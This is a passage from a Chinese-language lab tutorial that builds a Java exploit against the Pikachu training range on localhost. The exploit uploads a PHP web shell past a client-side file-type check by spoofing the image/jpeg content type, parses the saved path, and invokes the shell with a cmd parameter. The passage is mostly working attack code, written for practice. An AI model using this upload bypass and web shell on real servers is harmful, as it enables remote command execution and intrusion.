<dependency><groupId>com.github.kevinsawicki</groupId><artifactId>http-request</artifactId><version>5.6</version>
</dependency>

3.靶场实战

3.1 简单使用

  上一篇是通过自己编写的一个文件上传界面来实现的,现在就用实际的靶场来实现,同时也需要做一定的改动.

  其中可以很明显看到,文件的请求头部分Content-Type参数,这个参数是通过burp抓包后得来的参数,使用exp前抓一次包,后续就不需要抓包了,因为本关事通过判断文件类型的,只要前端检测到文件类为image/jpeg/jpg/png这几种就可以发送过去了,就是一个前端验证

package com.deger.Exp;import com.github.kevinsawicki.http.HttpRequest;import java.io.File;public class ExpUpload {public static void main(String[] args) {HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");httpRequest.header("Content-Type","multipart/form-data; boundary=---------------------------33601824373446");httpRequest.part("uploadfile","xiaoyu.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell1.php"));httpRequest.part("submit","submit");String context = httpRequest.body();System.out.println(context);}
}

 打印请求返回的信息后

可以通过搜索文件上传这几个关键词来判断是否上传成功 

3.2 增加判断机制

        增加一个文件上传的标志判断,就通过判断返回的响应中是否有上面的关键词信息即可,使用contains这个方法即可

package com.deger.Exp;import com.github.kevinsawicki.http.HttpRequest;import java.io.File;public class ExpUpload {public static void main(String[] args) {HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");httpRequest.header("Content-Type","multipart/form-data; boundary=---------------------------33601824373446");httpRequest.part("uploadfile","xiaoyu.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell1.php"));httpRequest.part("submit","submit");String context = httpRequest.body();if(context.contains("文件上传成功")){System.out.println("文件上传成功");}else{System.out.println("文件上传失败");}}
}

3.3 文件上传成功后的利用 

文件上传后的文件的访问路径,通过访问验证确实文件上传成功

http://127.0.0.1/pikachu/vul/unsafeupload/uploads/xiaoyu.php

http://127.0.0.1/pikachu/vul/unsafeupload/uploads/xiaoyu.php?cmd=var_dump(1)

尝试命令执行成功 

3.4 正则匹配上传文件的返回的路径

  使用起来还是比较简单的,主要是正则的编写,这里可以自行编写正则,或者通过正则生成网站,实在不会使用,通过ai编写正则也是可以的,怎么高效怎么来就可以了,下面是我常用的一个正则生成网站.

Regex正则表达式在线测试、生成、解析工具 - GoRegex.cnhttps://goregex.cn/

package com.deger.Exp;import com.github.kevinsawicki.http.HttpRequest;import java.io.File;public class ExpUpload {public static void main(String[] args) {// 发送POST请求HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php");httpRequest.header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3");httpRequest.header("Content-Type", "multipart/form-data; boundary=---------------------------33601824373446");httpRequest.part("uploadfile", "xiaoyu.php", "image/jpeg", new File("D:\\phpstudy_pro\\WWW\\shell1.php"));httpRequest.part("submit", "submit");// 获取响应体String context = httpRequest.body();// System.out.println(context);// 检查是否上传成功if (context.contains("文件上传成功")) {System.out.println("文件上传成功");// 使用正则表达式匹配文件保存路径String pattern = "文件保存的路径为：(uploads/[^<]+)";java.util.regex.Pattern p = java.util.regex.Pattern.compile(pattern);java.util.regex.Matcher m = p.matcher(context);if (m.find()) {System.out.println("文件保存的路径为：" + m.group(1));} else {System.out.println("未找到文件保存路径");}} else {System.out.println("文件上传失败");}}
}